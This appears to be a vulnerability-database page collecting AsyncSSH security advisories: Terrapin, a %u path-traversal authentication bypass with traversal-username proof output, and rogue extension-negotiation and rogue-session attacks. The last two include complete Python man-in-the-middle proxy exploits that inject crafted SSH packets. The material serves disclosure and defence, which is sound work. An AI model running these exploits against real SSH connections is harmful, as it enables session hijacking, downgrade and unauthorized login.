See how asyncssh project compares to other vendors in security performance
Summary
Terrapin is a prefix truncation attack targeting the SSH protocol. More precisely, Terrapin breaks the integrity of SSH's secure channel. By carefully adjusting the sequence numbers during the handshake, an attacker can remove an arbitrary amount of messages sent by the client or server at the beginning of the secure channel without the client or server noticing it.
Mitigations
To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes.
Warning: To take effect, both the client and server must support this countermeasure.
As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.
Details
The SSH specifications of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (-etm@openssh.com MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSHMSGEXTINFO sent after the first message after SSHMSGNEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.
The attack works by an attacker injecting an arbitrary number of SSHMSGIGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSHMSGIGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.
In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.
For more details see https://terrapin-attack.com.
Impact
This attack targets the specification of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (-etm@openssh.com), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.
Summary AsyncSSH 2.22.0 expands the OpenSSH-compatible AuthorizedKeysFile %u token with the raw SSH username during pre-authentication server config reload. A server configured with a documented per-user key pattern such as AuthorizedKeysFile authorizedkeys/%u can be made to read an authorized-keys file outside the intended directory when the SSH username contains path traversal segments. If the attacker can place or reference a readable authorized-keys-format file containing their public key, the attacker can authenticate over SSH as the traversal username.
Affected Product - Package: asyncssh - Ecosystem: pip - Affected versions: confirmed on 2.22.0; exact lower bound not finalized - Tested version: 2.22.0 - Audit commit/tag: tag v2.22.0, commit af5a81e669633d83d535163f93b6bf3f957c9238 - PyPI sdist SHA256: c3ce72b01be4f97b40e62844dd384227e5ff5a401a3793007c42f86a5c8eb537
Vulnerability Details - CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory - Component: AsyncSSH server config reload and public-key authentication (asyncssh/config.py, asyncssh/connection.py, asyncssh/authkeys.py, asyncssh/misc.py) - Root cause: %u in AuthorizedKeysFile is expanded from the remote username without rejecting path separators or .. segments, and the resulting path is opened without constraining it to the intended authorized-keys directory. - Security boundary violated: the configured authorized-keys directory and public-key authentication trust boundary. - Direct impact: public-key authentication succeeds using an attacker-selected authorized-keys file outside the intended directory. - Chain impact, if any: none claimed; direct authentication impact is primary.
Attack Preconditions - The AsyncSSH server uses a config or equivalent pattern where AuthorizedKeysFile contains %u, for example AuthorizedKeysFile authorizedkeys/%u. - Public-key authentication is enabled. - The attacker can place or reference a readable authorized-keys-format file outside the intended directory, such as a file in a world-writable or application-writable location. - The application does not separately reject usernames containing /, \, or .. before AsyncSSH uses the username for key-file selection.
Reproduction The run-scoped evidence contains a safe localhost proof:
1. Start the proof harness saved at harnessapp.py
2. Run exploitproof.py through runproof.sh
3. The harness creates sshdconfig with AuthorizedKeysFile authorizedkeys/%u, writes the attacker's public key to a file outside authorizedkeys/, starts a real AsyncSSH server, and attempts two SSH logins. 4. Expected result: the normal username victim fails, while the traversal username authenticates with the same attacker key.
Observed proof output:
text [CONTROL] username=victim success=False [ATTACK] username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub success=True [ATTACK] output=AUTHBYPASSSUCCESS username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub PASS: traversal username authenticated with attacker-controlled authorizedkeys file
The SSH server implementation of AsyncSSH before 1.12.1 does not properly check whether authentication is completed before processing other requests. A customized SSH client can simply skip the authentication step.
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
<details> <summary>AsyncSSH Client 2.14.0 (simpleclient.py example) connecting to AsyncSSH Server 2.14.0 (simpleserver.py example)</summary>
python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simpleclient.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simpleserver.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXYIP = '127.0.0.1' PROXYPORT = 2222 # IP and port of the server SERVERIP = '127.0.0.1' SERVERPORT = 22 # Length of the individual messages NEWKEYSLENGTH = 16 SERVEREXTINFOLENGTH = 676 newkeyspayload = b'\x00\x00\x00\x0c\x0a\x15' def containsnewkeys(data): return newkeyspayload in data # Empty EXTINFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogueextinfo = unhexlify('0000000C060700000000000000000000') def insertrogueextinfo(data): newkeysindex = data.index(newkeyspayload) # Insert rogue extension info and remove SSHMSGEXTINFO return data[:newkeysindex] + rogueextinfo + data[newkeysindex:newkeysindex + NEWKEYSLENGTH] + data[newkeysindex + NEWKEYSLENGTH + SERVEREXTINFOLENGTH:] def forwardclienttoserver(clientsocket, serversocket): try: while True: clientdata = clientsocket.recv(4096) if len(clientdata) == 0: break serversocket.send(clientdata) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forwardclienttoserver thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() def forwardservertoclient(clientsocket, serversocket): try: while True: serverdata = serversocket.recv(4096) if containsnewkeys(serverdata): print("[+] SSHMSGNEWKEYS sent by server identified!") if len(serverdata) < NEWKEYSLENGTH + SERVEREXTINFOLENGTH: print("[+] serverdata does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(serverdata) < NEWKEYSLENGTH + SERVEREXTINFOLENGTH: serverdata += serversocket.recv(4096) print(f"[d] Original serverdata before modification: {serverdata.hex()}") serverdata = insertrogueextinfo(serverdata) print(f"[d] Modified serverdata with rogue extension info: {serverdata.hex()}") if len(serverdata) == 0: break clientsocket.send(serverdata) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forwardservertoclient thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() if name == 'main': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitmsocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) mitmsocket.bind((PROXYIP, PROXYPORT)) mitmsocket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXYIP, PROXYPORT)} for incoming connections...") try: while True: clientsocket, clientaddr = mitmsocket.accept() print(f"[+] Accepted connection from: {clientaddr}") print(f"[+] Establishing new server connection to {(SERVERIP, SERVERPORT)}.") serversocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) serversocket.connect((SERVERIP, SERVERPORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forwardclienttoserver, args=(clientsocket, serversocket)).start() Thread(target=forwardservertoclient, args=(clientsocket, serversocket)).start() except KeyboardInterrupt: clientsocket.close() serversocket.close() mitmsocket.close() </details>
Impact
Algorithm downgrade during user authentication.
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
Details
The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.
The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.
PoC
<details> <summary>AsyncSSH 2.14.0 client (simpleclient.py example) connecting to AsyncSSH 2.14.0 server (simpleserver.py example)</summary>
python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify from time import sleep ################################################################################## ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ## ## ## ## Variant: Unmodified variant (EXTINFO by client required) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simpleclient.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simpleserver.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ################################################################################## # IP and port for the TCP proxy to bind to PROXYIP = '127.0.0.1' PROXYPORT = 2222 # IP and port of the server SERVERIP = '127.0.0.1' SERVERPORT = 22 # Length of the individual messages NEWKEYSLENGTH = 16 CLIENTEXTINFOLENGTH = 60 # Additional data sent by the client after NEWKEYS (excluding EXTINFO) ADDITIONALCLIENTDATALENGTH = 60 newkeyspayload = b'\x00\x00\x00\x0c\x0a\x15' def containsnewkeys(data): return newkeyspayload in data rogueuserauthrequest = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000') def insertrogueauthenticationrequest(data): newkeysindex = data.index(newkeyspayload) # Insert rogue authentication request and remove SSHMSGEXTINFO return data[:newkeysindex] + rogueuserauthrequest + data[newkeysindex:newkeysindex + NEWKEYSLENGTH] + data[newkeysindex + NEWKEYSLENGTH + CLIENTEXTINFOLENGTH:] def forwardclienttoserver(clientsocket, serversocket): delaynext = False try: while True: clientdata = clientsocket.recv(4096) if delaynext: delaynext = False sleep(0.25) if containsnewkeys(clientdata): print("[+] SSHMSGNEWKEYS sent by client identified!") if len(clientdata) < NEWKEYSLENGTH + CLIENTEXTINFOLENGTH + ADDITIONALCLIENTDATALENGTH: print("[+] clientdata does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!") while len(clientdata) < NEWKEYSLENGTH + CLIENTEXTINFOLENGTH + ADDITIONALCLIENTDATALENGTH: clientdata += clientsocket.recv(4096) print(f"[d] Original clientdata before modification: {clientdata.hex()}") clientdata = insertrogueauthenticationrequest(clientdata) print(f"[d] Modified clientdata with rogue authentication request: {clientdata.hex()}") delaynext = True if len(clientdata) == 0: break serversocket.send(clientdata) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forwardclienttoserver thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() def forwardservertoclient(clientsocket, serversocket): try: while True: serverdata = serversocket.recv(4096) if len(serverdata) == 0: break clientsocket.send(serverdata) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forwardservertoclient thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() if name == 'main': print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---") mitmsocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) mitmsocket.bind((PROXYIP, PROXYPORT)) mitmsocket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXYIP, PROXYPORT)} for incoming connections...") try: while True: clientsocket, clientaddr = mitmsocket.accept() print(f"[+] Accepted connection from: {clientaddr}") print(f"[+] Establishing new server connection to {(SERVERIP, SERVERPORT)}.") serversocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) serversocket.connect((SERVERIP, SERVERPORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forwardclienttoserver, args=(clientsocket, serversocket)).start() Thread(target=forwardservertoclient, args=(clientsocket, serversocket)).start() except KeyboardInterrupt: clientsocket.close() serversocket.close() mitmsocket.close() </details>
Impact
The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.